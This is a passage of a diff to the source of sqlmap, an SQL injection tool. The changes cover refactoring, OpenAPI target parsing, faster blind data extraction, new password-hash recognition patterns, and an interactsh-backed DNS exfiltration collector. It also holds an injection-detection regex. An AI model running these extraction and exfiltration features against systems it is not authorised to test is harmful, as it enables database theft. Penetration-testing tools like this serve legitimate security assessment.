next characters (reordered ahead of otherCharset) so the bisection converges faster.
"""
if kb.commonOutputs is None:
@ -2737,7 +2733,7 @@ def goGoodSamaritan(prevValue, originalCharset):
def getPartRun(alias=True):
"""
Goes through call stack and finds constructs matching
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns')
"""
retVal = None
@ -3310,7 +3306,16 @@ def isNumPosStrValue(value):
return retVal
@cachedmethod
# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a
# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum()
# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via
# setdefault in dict order preserves the original first-match-wins semantics.
_DBMS_ALIAS_MAP = {}
for _dbmsKey, _dbmsItem in DBMS_DICT.items():
for _dbmsAlias in _dbmsItem[0]:
_DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey)
_DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey)
def aliasToDbmsEnum(dbms):
"""
Returns major DBMS name from a given alias
@ -3319,15 +3324,7 @@ def aliasToDbmsEnum(dbms):
'Microsoft SQL Server'
"""
retVal = None
if dbms:
for key, item in DBMS_DICT.items():
if dbms.lower() in item[0] or dbms.lower() == key.lower():
retVal = key
break
return retVal
return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None
def findDynamicContent(firstPage, secondPage, merge=False):
"""
@ -3349,7 +3346,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
infoMsg = "searching for dynamic content"
singleTimeLogMessage(infoMsg)
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
try:
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can blow up on pathological/oversized input (and, rarely, with
# interpreter-level errors under heavy threading); a failed dynamic-content
# search must degrade gracefully rather than abort the whole scan - mirrors the
# guard around the ratio computation in lib/request/comparison.py
return
if not merge:
kb.dynamicMarkings = []
@ -3666,8 +3670,8 @@ def setOptimize():
Sets options turned on by switch '-o'
"""
# conf.predictOutput = True
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers)
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive
# inference is now an inherent, always-on part of blind name enumeration (no longer a switch)
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
@ -4414,7 +4418,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if isinstance(name, six.string_types):
retVal = getUnicode(name)
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
# Resolve the identified DBMS once; it is invariant within this call and
# Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise
# re-evaluated several times below.
dbms = Backend.getIdentifiedDbms()
_ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE)
if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
@ -4424,13 +4432,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if not conf.noEscape:
retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
@ -4463,16 +4471,21 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
# Resolve the identified DBMS once; it is invariant within this call, and
# Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously
# it was re-evaluated up to five times per call.
dbms = Backend.getIdentifiedDbms()
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
retVal = name.replace("[", "").replace("]", "")
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if dbms in (DBMS.MSSQL, DBMS.SYBASE):
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
return retVal
@ -5826,30 +5839,35 @@ def chunkSplitPostData(data):
return "".join(retVal)
def checkSums():
def isGitRepository():
"""
Validate the content of the digest file (i.e. sha256sums.txt)
>>> checkSums()
Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a
pip/tarball install)
"""
return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git"))
def codeIsModified():
"""
Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting
crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a
pip/tarball install is taken as shipped (returns False). A transient git error also yields False,
so a missing git binary never silences a legitimate report.
>>> codeIsModified() in (True, False)
True
"""
retVal = True
retVal = False
if paths.get("DIGEST_FILE"):
for entry in getFileItems(paths.DIGEST_FILE):
match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry)
if match:
expected, filename = match.groups()
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep)
if not checkFile(filepath, False):
continue
with open(filepath, "rb") as f:
content = f.read()
if b'\0' not in content:
content = content.replace(b"\r\n", b"\n")
if not hashlib.sha256(content).hexdigest() == expected:
retVal &= False
break
if isGitRepository():
try:
process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
process.communicate()
if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error)
retVal = True
except Exception:
pass
return retVal

View file

@ -8,7 +8,7 @@ See the file 'LICENSE' for copying permission
import copy
import threading
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six.moves import collections_abc as _collections
class AttribDict(dict):

View file

@ -62,7 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
from lib.utils.safe2bin import safechardecode
from thirdparty import six
from thirdparty.magic import magic
from thirdparty.odict import OrderedDict
from collections import OrderedDict
class Dump(object):
"""

View file

@ -180,6 +180,8 @@ class HASH(object):
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z'
MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z'
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
@ -192,6 +194,8 @@ class HASH(object):
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z'
SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z'
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
@ -205,6 +209,13 @@ class HASH(object):
SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z'
DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z'
DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z'
DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z'
WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z'
WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z'
BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z'
ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z'
MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z'
SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z'
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'

View file

@ -144,6 +144,7 @@ from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
from lib.request.chunkedhandler import ChunkedHandler
from lib.request.connect import Connect as Request
from lib.request.dns import DNSServer
from lib.request.dns import InteractshDNSServer
from lib.request.httpshandler import HTTPSHandler
from lib.request.keepalive import HTTPKeepAliveHandler
from lib.request.keepalive import HTTPSKeepAliveHandler
@ -156,7 +157,7 @@ from lib.utils.har import HTTPCollectorFactory
from lib.utils.purge import purge
from lib.utils.search import search
from thirdparty import six
from thirdparty.multipart import multipartpost
from lib.request.multiparthandler import MultipartPostHandler
from thirdparty.six.moves import collections_abc as _collections
from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import http_cookiejar as _http_cookiejar
@ -172,7 +173,7 @@ keepAliveHandlerHTTPS = HTTPSKeepAliveHandler()
proxyHandler = _urllib.request.ProxyHandler()
redirectHandler = SmartRedirectHandler()
rangeHandler = HTTPRangeHandler()
multipartPostHandler = multipartpost.MultipartPostHandler()
multipartPostHandler = MultipartPostHandler()
# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
try:
@ -492,6 +493,70 @@ def _setBulkMultipleTargets():
warnMsg = "no usable links found (with GET parameters)"
logger.warning(warnMsg)
def _setOpenApiTargets():
if not conf.openApiFile:
return
from lib.parse.openapi import openApiTargets
if conf.method:
warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification"
logger.warning(warnMsg)
# origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base'
# (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself.
origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None
if re.match(r"(?i)\Ahttps?://", conf.openApiFile):
infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile
logger.info(infoMsg)
from lib.request.connect import Connect as Request
content = Request.getPage(url=conf.openApiFile, raise404=True)[0]
if not origin:
match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile)
origin = match.group(1) if match else None
else:
conf.openApiFile = safeExpandUser(conf.openApiFile)
checkFile(conf.openApiFile)
infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile
logger.info(infoMsg)
content = openFile(conf.openApiFile).read()
try:
targets = openApiTargets(content, origin)
except ValueError as ex:
errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex)
raise SqlmapSyntaxException(errMsg)
if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])):
warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. "
warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with "
warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")"
logger.warning(warnMsg)
before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback
mutating = 0
for url, method, data, headers in targets:
if conf.scope and not re.search(conf.scope, url, re.I):
continue
if method not in ("GET", "HEAD", "OPTIONS"):
mutating += 1
kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None))
added = len(kb.targets) - before
if added:
conf.multipleTargets = True
infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added
logger.info(infoMsg)
if mutating:
warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating
warnMsg += "Scanning them may create, modify or delete server-side data"
logger.warning(warnMsg)
else:
warnMsg = "no usable targets derived from the OpenAPI/Swagger specification"
if not conf.openApiBase:
warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)"
logger.warning(warnMsg)
def _findPageForms():
if not conf.forms or conf.crawlDepth:
return
@ -870,6 +935,15 @@ def _setTamperingFunctions():
warnMsg += "a good idea"
logger.warning(warnMsg)
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so
# warn instead of silently ignoring the user's '--tamper'
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)):
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_))
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
warnMsg += "will be ignored by the '--%s' engine" % engine
logger.warning(warnMsg)
if resolve_priorities and priorities:
priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
kb.tamperFunctions = []
@ -1249,10 +1323,12 @@ def _setHTTPHandlers():
handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
# Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
# and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
# or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
# Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s)
# proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled
# socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled
# when incompatible (authentication methods, or chunked transfer-encoding of the request body -
# handled by a dedicated, non-pooling handler)
conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked
if conf.keepAlive:
# persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
@ -1261,8 +1337,8 @@ def _setHTTPHandlers():
handlers.remove(httpsHandler)
handlers.append(keepAliveHandler)
handlers.append(keepAliveHandlerHTTPS)
elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
elif not conf.noKeepAlive and (conf.authType or conf.chunked):
reason = "authentication methods" if conf.authType else "chunked transfer-encoding"
debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
logger.debug(debugMsg)
@ -1841,7 +1917,7 @@ def _cleanupOptions():
if conf.tmpPath:
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)):
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)):
conf.multipleTargets = True
if conf.optimize:
@ -2167,6 +2243,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.disableHuffman = False
kb.huffmanProbes = 0
kb.huffmanEscapes = 0
kb.lowCardCache = {}
kb.dumpCharset = {}
kb.dumpCharsetStable = {}
kb.litmusCounter = 0
kb.reliabilityAlarm = False
kb.httpErrorCodes = {}
kb.inferenceMode = False
kb.ignoreCasted = None
@ -2180,7 +2261,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.lastParserStatus = None
kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock()
kb.matchRatio = None
@ -2506,6 +2587,26 @@ def _setDNSServer():
if not conf.dnsDomain:
return
from lib.core.settings import OOB_INTERACTSH_SERVERS
_requested = conf.dnsDomain.strip().lower()
if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS:
infoMsg = "setting up interactsh-backed DNS exfiltration collector"
logger.info(infoMsg)
try:
conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None)
conf.dnsServer.run()
conf.dnsDomain = conf.dnsServer.domain
except socket.error as ex:
errMsg = "there was an error while setting up "
errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain
logger.info(infoMsg)
return
infoMsg = "setting up DNS server instance"
logger.info(infoMsg)
@ -2717,8 +2818,8 @@ def _basicOptionValidation():
errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
raise SqlmapSystemException(errMsg)
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)):
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'"
raise SqlmapSyntaxException(errMsg)
if conf.api and not conf.configFile:
@ -2818,10 +2919,6 @@ def _basicOptionValidation():
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
raise SqlmapSyntaxException(errMsg)
if conf.predictOutput and (conf.threads > 1 or conf.optimize):
errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'"
raise SqlmapSyntaxException(errMsg)
if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"):
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
raise SqlmapSyntaxException(errMsg)
@ -3011,7 +3108,7 @@ def init():
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
@ -3027,6 +3124,7 @@ def init():
_doSearch()
_setStdinPipeTargets()
_setBulkMultipleTargets()
_setOpenApiTargets()
_checkTor()
_setCrawler()
_findPageForms()

View file

@ -19,6 +19,8 @@ optDict = {
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"openApiFile": "string",
"openApiBase": "string",
},
"Request": {
@ -77,7 +79,6 @@ optDict = {
"Optimization": {
"optimize": "boolean",
"predictOutput": "boolean",
"keepAlive": "boolean",
"noKeepAlive": "boolean",
"nullConnection": "boolean",
@ -123,6 +124,9 @@ optDict = {
"ldap": "boolean",
"xpath": "boolean",
"ssti": "boolean",
"xxe": "boolean",
"oobServer": "string",
"oobToken": "string",
"timeSec": "integer",
"uCols": "string",
"uChar": "string",
@ -282,6 +286,7 @@ optDict = {
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"fpTest": "boolean",
"apiTest": "boolean",
},

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.0"
VERSION = "1.10.7.34"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -141,6 +141,9 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conver
# Upper threshold for starting the fuzz(y) UNION test
FUZZ_UNION_MAX_COLUMNS = 10
# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically)
FUZZ_UNION_MAX_REQUESTS = 80
# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
@ -557,11 +560,52 @@ for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (
for _char in _chars:
HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output
# pool for their enumeration context, so later same-context items that share structure (e.g.
# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from
# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge
# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection.
# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier
# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/
# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT
# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user).
NAME_PREDICTION_CONTEXTS = ("Tables", "Columns")
# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind
# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first
# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the
# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree
# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model.
NAME_MARKOV_ORDER = 3
CATALOG_IDENTIFIERS_PRIOR_PEAK = 20
# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality
# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by
# equality against the values already seen for that column (one request on a hit) before per-character
# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap.
LOW_CARDINALITY_THRESHOLD = 32
# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer
# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just
# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy
# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a
# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption
# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before
# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable.
ORACLE_LITMUS_CHECK_EVERY = 25
# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so
# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this
# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with
# many near-unique values can only ever waste a small, bounded number of probes before falling back.
LOW_CARDINALITY_MAX_GUESSES = 8
# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is
# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps
# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged
# the speculative restricted-search-then-escalate cost.
DUMP_CHARSET_STABLE_ROWS = 3
# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration
# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...)
# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers
# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character
# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration).
PREDICTION_FEEDBACK_MAX_LENGTH = 128
PREDICTION_FEEDBACK_MAX_ITEMS = 10000
@ -713,7 +757,10 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", 